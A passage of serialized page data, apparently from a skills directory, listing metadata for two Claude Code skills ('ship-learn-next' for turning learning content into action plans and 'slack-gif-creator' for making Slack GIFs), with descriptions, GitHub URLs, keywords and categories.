skill","users","Existing","new",{"skillNo":188,"name":189,"nameZh":6,"description":190,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":191,"categories":192,"keywords":193,"publishedAt":38},"01M6R2FK42ZZ4HJTJVVK9WJBBP","ship-learn-next","Transform learning content (like YouTube transcripts, articles, tutorials) into actionable implementation plans using the Ship-Learn-Next framework. Use when user wants to turn advice, lessons, or educational content into concrete action steps, reps, or a learning quest.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fship-learn-next\u002FSKILL.md",[],[194,195,196,197,198,199,200,201,102,202,203,204,205,206,207,208,209,210,211,22],"learn","ship learn next","ship","next","framework","learning","read","write","advice","implementation","youtube","plans","quest","transform","actionable","action","lessons","youtube transcripts",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":216,"sourceHtmlUrl":217,"categories":218,"keywords":225,"publishedAt":38},"01M6R2088G1RHDA5MDX16HASRB","slack-gif-creator","Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like \"make me a GIF of X doing Y for Slack.\"","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fenterprise-communication\u002Fslack-gif-creator\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fenterprise-communication\u002Fslack-gif-creator\u002FSKILL.md",[219,222],{"categoryNo":220,"categoryName":221,"taxonomyType":85,"taxonomyTypeDesc":86},"01JBSEEDCAT000000000000005","邮件与沟通",{"categoryNo":223,"categoryName":224,"taxonomyType":85,"taxonomyTypeDesc":86},"01JBSEEDCAT000000000000016","图像与多媒体",[226,227,228,172,229,230,231,232,177,102,156,184,158,233,234,106,235,22],"slack gif creator","slack","gif","validation","Tools","constraints","Animation","Utilities","concepts","request"]